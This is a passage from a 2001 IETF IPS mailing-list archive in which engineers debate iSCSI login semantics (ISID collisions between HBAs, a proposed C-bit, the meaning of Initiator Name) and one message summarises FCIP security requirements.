To: , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 10:56:50 -0400 Message-ID: <000101c136e4$29c1e1a0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <31891B757C09184BBFEC5275F85D5595104DBF@cceexc18.americas.cpqcorp.net> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit But wouldn't the two different vendors you mention below have different iSCSI Initiator Names? Remember, the Initiator is not the host, it is the HBA in this case. If two different HBA's are going to play together then a common driver would be used and the driver would provide the iSCSI Initiator Name. Then, the ISID would be properly maintained by the driver. Think of the Initiator Name as the owner of the ISID's for that name. Eddy -----Original Message----- From: Martin, Nick [mailto:Nick.Martin@compaq.com] Sent: Wednesday, September 05, 2001 5:50 PM To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Marj, You mention vendors not knowing how to play right. The problem is that iSCSI does not and will not specify how two HBAs from different vendors installed in the same Initiator should or could get a range of ISIDs for their exclusive use. This will be operating system specific and vendor defined. It is uncertain that the same tool or repository would be used by all HBA vendors in any environment. Given this, accidental overlap in ISID space is not unlikely. Given that there is no one way to play right, we must make sure that everyone can at least play nice. My expectation is that sessions are infrequently established and long lived. ISIDs may be re-used at will by their current owners. When no "already owned" ISIDs are available, or an attempt to re-use an "already owned" ISID failed, and HBA would need to a) "probe" for a new available ISID or b) fail the request to establish the session. Session recovery should not be attempted unless a session is known to have failed. If tools are available, and the administrator has used them correctly, then HBAs will not collide in ISID space. If the tools are not available or were not used correctly, I would hope the second HBA can still attempt to come up without impacting the sessions established by the first. Again, I state my support for a login with existing ISID harmlessly fails (the Target state does not change) unless a session recovery indicator is set. Also if a session recovery indicator is set, and the ISID is not in use (by this Initiator at this Target), the login also fails. Thanks, Nick -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Friday, August 31, 2001 12:09 PM To: Martin, Nick; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call > In particular this enables independent agents within the same initiator to > attempt a login without knowing all ISIDs in use by other agents. Each > agent would know the ISID of sessions it had successfully established, but > not the ISIDs for sessions established by others. It can use the ISIDs it > knows to recover sessions it owns. If an agent gets a failure attempting to > establish a new session, it would pick a different ISID and > retry (or just quit), rather than disrupting a session of another agent. The intent of the presentation on SCSI/iSCSI modeling, and the text in the draft, is to illustrate how this example is not a recommended implementation choice due to the probability of violating the SCSI/iSCSI rules pointed out. If the "independant agents" had partitioned the ISID space, there would be no collision on login and no time wasted. Your illustrated implementation could spend significant time "trying" ISID's in use by the "other agents". However, I'm starting to have more sympathy with Julian's concerns due to the apparent risks of different vendors' initiator implementations not following the rules. I just imagined having vendor A's HBA installed and happily servicing applications, installing vendor B's "plug-n-play" implementation, and having all A's sessions aborted cause B doesn't know how to play right :-( Marj From owner-ips@ece.cmu.edu Thu Sep 6 13:34:27 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03576 for ; Thu, 6 Sep 2001 13:34:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86FwP623059 for ips-outgoing; Thu, 6 Sep 2001 11:58:25 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86FwKP23040 for ; Thu, 6 Sep 2001 11:58:20 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN246; Thu, 6 Sep 2001 11:58:15 -0400 Reply-To: From: "Eddy Quicksall" To: , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 11:57:55 -0400 Message-ID: <000401c136ec$b1baddc0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD6F8@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Then I think Nick has an issue. Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 13:36:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03649 for ; Thu, 6 Sep 2001 13:36:05 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86FAA416351 for ips-outgoing; Thu, 6 Sep 2001 11:10:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86FA5P16338 for ; Thu, 6 Sep 2001 11:10:05 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA83952 for ; Thu, 6 Sep 2001 11:07:45 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f86F9wt260460 for ; Thu, 6 Sep 2001 09:09:58 -0600 Importance: Normal Subject: RE: iSCSI: login issue - partial consensus call To: ips@ece.cmu.edu From: "Jim Hafner" Date: Thu, 6 Sep 2001 08:09:56 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/06/2001 08:09:58 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Folks, Though I'm getting ready to throw in the towel on this issue (mostly because it isn't really worth the fight), I want to state again my rational for not supporting Option B. Option A is the simplest for everyone. Option B has much more complexity and is subject to the same results as Option A if the C bit is used indiscriminantly. How use of the C-bit is controlled is actually outside the scope of the standard because enforcement of requirements is by the receiving end of the protocol and there's nothing for the target to do in this case. The target can't say "I don't think you really meant that". A "good" initiator will never set the C bit unless it really wants it and understands the consequences. A "bad" initiator (because of bad programming) will set the C bit first and then handle the rejection as a retry (but when there is no rejection, the bad effects have already happened). A "good/bad" initiator may not set the C bit first, but then set it after a rejection because it thinks it owns the ISID space (e.g., doesn't even know or care that there might be another HBA around) -- and we all know systems that behave this way! The net of this is, in my opinion, that what we're trying to protect against with Option B won't really be protected, so why bother with the extra protocol. And in reply to David's suggestion for a mandatory management interface to disable the C-bit. If iSCSI can mandate that, then it can mandate a management interface for setting/configuring ISID partitions and the problem goes away of non-cooperating HBAs. Jim Hafner Black_David@emc.com@ece.cmu.edu on 09/06/2001 07:10:37 am Sent by: owner-ips@ece.cmu.edu To: Nick.Martin@compaq.com, ips@ece.cmu.edu cc: Subject: RE: iSCSI: login issue - partial consensus call Trying to close this issue, I think Nick's points are valid and answer the question about when the "C-bit" would not be set -- when the entity sending the command suspects (or wants to protect against) a problem in ISID assignment. That appears to make option B) the right choice: B) Should iSCSI mandate making this intended cleanup explicit by setting a bit (Say C-bit, for Clear) in the Login Command PDU to prevent an accidental session cleanup with a buggy initiator code? I have the following additional comments: (1) A new bit is needed. Reuse of the X-bit for this purpose has been rejected by rough consensus of the WG. (2) In order to deal with the worst case, every iSCSI implementation MUST have an administrative interface that can prevent this new "C-bit" from ever being set, even if the implementation thinks that setting it is the right thing to do. This provides a way to deal with situations in which sessions are getting stomped on by ISID problems. (3) Some additional words about ISID usage are needed to encompass scenarios in which ISID assignment is not present, does not assign enough ISIDs, or fails for some reason. Comments are welcome. Further objection to B) needs to explain why Nick's scenarios should not be considered. I was disappointed to see a prior statement that the ISIDs would be different "by definition" - this is in the same category as saying that software and protocol implementations are bug-free "by definition". Keep in mind that Nick is correct in saying: > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use an "already > owned" ISID failed, and HBA would need to a) "probe" for a new available > ISID or b) fail the request to establish the session. Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 13:40:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA03846 for ; Thu, 6 Sep 2001 13:40:49 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86FnL122217 for ips-outgoing; Thu, 6 Sep 2001 11:49:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86FmlP20946 for ; Thu, 6 Sep 2001 11:49:19 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 11:50:45 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6F8@CORPMX14> From: Black_David@emc.com To: eddy_quicksall@ivivity.com, ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 11:42:00 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant time "trying" ISID's in use by the "other > agents". > > However, I'm starting to have more sympathy with Julian's concerns due > to > the apparent risks of different vendors' initiator implementations not > following the rules. > > I just imagined having vendor A's HBA installed and happily servicing > applications, installing vendor B's "plug-n-play" implementation, and > having > all A's sessions aborted cause B doesn't know how to play right :-( > > Marj > From owner-ips@ece.cmu.edu Thu Sep 6 13:57:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA04306 for ; Thu, 6 Sep 2001 13:57:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86G7VQ23790 for ips-outgoing; Thu, 6 Sep 2001 12:07:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from esply02.cnt.com (mailhost.cnt.com [139.93.128.21]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86G7PP23784 for ; Thu, 6 Sep 2001 12:07:25 -0400 (EDT) Received: by esply02.cnt.com with Internet Mail Service (5.5.2653.19) id ; Thu, 6 Sep 2001 11:07:20 -0500 Message-ID: <3C7122FAF06DD5118ED60050047336482630F9@esply01.cnt.com> From: Michael Schoberg To: "'ips@ece.cmu.edu'" Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 11:04:21 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Sorry this isn't a consensus message, but I just feel like the proposals aren't getting us to the simplest solution. Why put a square peg through a round hole? A lot of things in this spec let the client (initiator) dictate too much to the server (target). Why? If we can't assume all initiators are aware of each other, why put things in the protocol that can allow them to step on each other? The target knows all CID's, ISID's, TSID's, and everything else associated with the initiators it's linked to, let it do the work of setting ID's. CID - unique ID for this connection within the session. The initiator doesn't need to specify this. It only needs to set a flag saying it wants to form a new connection for this session-ID. Let the target decide what the CID should be and send it back up to the initiator. Letting the initiator decide this simply adds more checks to the target to ensure that the initiator isn't trying to establish a connection-ID that already exists. Keep it simple. ISID - initiator-defined session-identifier Since initiators don't know about other initiators connected to this target, this has the potential of causing problems. Eliminate it. The initiator should simply state it's intentions of establishing a new session or adding a connection to an existing session (via binary flags). Recovery can be a special case of the latter. When the session or connection is established, the target can return the ID's that make it unique the IC_T Nexus. Those ID's can be used to form new connections or recover from dropped connections. From owner-ips@ece.cmu.edu Thu Sep 6 15:07:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06271 for ; Thu, 6 Sep 2001 15:07:03 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86H5qP27690 for ips-outgoing; Thu, 6 Sep 2001 13:05:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86H5fP27672 for ; Thu, 6 Sep 2001 13:05:46 -0400 (EDT) Received: from muralipc (dhcp099.lightsand.com [192.168.1.99]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id KAA29919; Thu, 6 Sep 2001 10:05:16 -0700 (PDT) From: "Murali Rajagopal" To: "Elizabeth G Rodriguez \(Elizabeth\)" , "Black_David@emc. com" , Subject: FCIP: Security Directions Date: Thu, 6 Sep 2001 10:06:19 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit In the Irvine IETF meeting I took the action to drive the FCIP authors to arrive at some consensus on the FCIP security directions within a week. The outcome of this action is a document that can be found at ftp://ftp.t11.org/t11/pub/fc/bb-2/01-474v0.pdf. The proposal is to include this text in the next revision of the draft. A summary of the FCIP Security directions appears below: 1. Keying Recommendation: Per RFC2409 - IKE with pre-shared keys MUST implement - IKE with public-key based keys MAY implement - IKE Main Mode MUST implement - IKE Aggressive Mode MAY implement 2. Integrity MAC - HMAC-SHA1 MUST implement - AES in CBC MAC mode with XCBC extensions SHOULD implement 3. Confidentiality When used: - 3DES in CBC mode MUST implement - AES in CTR mode SHOULD implement When not used: - NULL Encryption [RFC2410] 4. Encapsulation Modes - Tunnel Mode/Transport modes being discussed, with a strong bias towards Tunnel Mode. Murali Rajagopal IPS WG, Technical Coordinator for FCIP Sub WG ~~~~~~~~~~~~~~~~~~~~~~~~~ Chief Scientist LightSand Communications muralir@lightsand.com 949-837-1733 x101 http://www.lightsand.com From owner-ips@ece.cmu.edu Thu Sep 6 15:11:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA06370 for ; Thu, 6 Sep 2001 15:11:34 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f86GoYg26572 for ips-outgoing; Thu, 6 Sep 2001 12:50:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f86GoVP26566 for ; Thu, 6 Sep 2001 12:50:31 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCN2VW; Thu, 6 Sep 2001 12:50:23 -0400 Reply-To: From: "Eddy Quicksall" To: , Subject: RE: iSCSI: login issue - partial consensus call Date: Thu, 6 Sep 2001 12:50:02 -0400 Message-ID: <000501c136f3$fa715a10$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <277DD60FB639D511AC0400B0D068B71ECAD6F8@CORPMX14> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David, Now, I'm really confused... I just read through the spec and I don't see where it mentions the "Initiator" as you have presented it below. Can you please give me a reference? Section 1.1 appears to define "initiator" as: Clients of a SCSI interface are called "initiators". Initiators are one endpoint of a SCSI transport. Section 1.2.1 says: The group of TCP connections that link an initiator with a target, form a session (loosely equivalent to a SCSI I-T nexus). That does not seem to be consistent with your definition. In parallel SCSI, you can have two different initiators talking to the same target with both initiators on the same host ... your use of Initiator does not seem to be consistent that that because you would allow only one Initiator (the host). Also, if the InitiatorName is the name of the host, how does an independent HBA find out the name? I would like to propose that "Initiator" refers to that end point which is maintaining unique ISID's. I believe this definition would be consistent with all that is in the spec. Eddy -----Original Message----- From: Black_David@emc.com [mailto:Black_David@emc.com] Sent: Thursday, September 06, 2001 11:42 AM To: eddy_quicksall@ivivity.com; ips@ece.cmu.edu Subject: RE: iSCSI: login issue - partial consensus call Nope, the iSCSI Initiator Name is supposed to refer to the host into which the HBAs are plugged (or, more precisely, the OS instance using the HBAs for systems that support multiple OS instances). If we were to change the naming approach to associate Initiator identities with network interfaces, this particular issue gets easier, but we'd have to take another hard look at why multiple sessions are allowed between the same Initiator and Target (ditto multiple connections per session). --David > -----Original Message----- > From: Eddy Quicksall [mailto:eddy_quicksall@ivivity.com] > Sent: Thursday, September 06, 2001 10:57 AM > To: Nick.Martin@compaq.com; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > But wouldn't the two different vendors you mention below have > different > iSCSI Initiator Names? Remember, the Initiator is not the > host, it is the > HBA in this case. > > If two different HBA's are going to play together then a > common driver would > be used and the driver would provide the iSCSI Initiator > Name. Then, the > ISID would be properly maintained by the driver. > > Think of the Initiator Name as the owner of the ISID's for that name. > > Eddy > > -----Original Message----- > From: Martin, Nick [mailto:Nick.Martin@compaq.com] > Sent: Wednesday, September 05, 2001 5:50 PM > To: KRUEGER,MARJORIE (HP-Roseville,ex1); ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > Marj, > > You mention vendors not knowing how to play right. > The problem is that iSCSI does not and will not specify how two HBAs > from different vendors installed in the same Initiator should or could > get a range of ISIDs for their exclusive use. This will be operating > system specific and vendor defined. It is uncertain that the > same tool > or repository would be used by all HBA vendors in any environment. > Given this, accidental overlap in ISID space is not unlikely. > > Given that there is no one way to play right, we must make sure that > everyone can at least play nice. > > My expectation is that sessions are infrequently established and long > lived. ISIDs may be re-used at will by their current owners. When no > "already owned" ISIDs are available, or an attempt to re-use > an "already > owned" ISID failed, and HBA would need to a) "probe" for a > new available > ISID or b) fail the request to establish the session. > Session recovery > should not be attempted unless a session is known to have failed. > > If tools are available, and the administrator has used them correctly, > then HBAs will not collide in ISID space. If the tools are not > available or were not used correctly, I would hope the second HBA can > still attempt to come up without impacting the sessions established by > the first. > > Again, I state my support for a login with existing ISID harmlessly > fails (the Target state does not change) unless a session recovery > indicator is set. Also if a session recovery indicator is > set, and the > ISID is not in use (by this Initiator at this Target), the login also > fails. > > Thanks, > Nick > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Friday, August 31, 2001 12:09 PM > To: Martin, Nick; ips@ece.cmu.edu > Subject: RE: iSCSI: login issue - partial consensus call > > > > In particular this enables independent agents within the same > initiator to > > attempt a login without knowing all ISIDs in use by other agents. > Each > > agent would know the ISID of sessions it had successfully > established, > but > > not the ISIDs for sessions established by others. It can use the > ISIDs it > > knows to recover sessions it owns. If an agent gets a failure > attempting > to > > establish a new session, it would pick a different ISID and > > retry (or just quit), rather than disrupting a session of another > agent. > > The intent of the presentation on SCSI/iSCSI modeling, and the text in > the > draft, is to illustrate how this example is not a recommended > implementation > choice due to the probability of violating the SCSI/iSCSI > rules pointed > out. > If the "independant agents" had partitioned the ISID space, > there would > be > no collision on login and no time wasted. Your illustrated > implementation > could spend significant 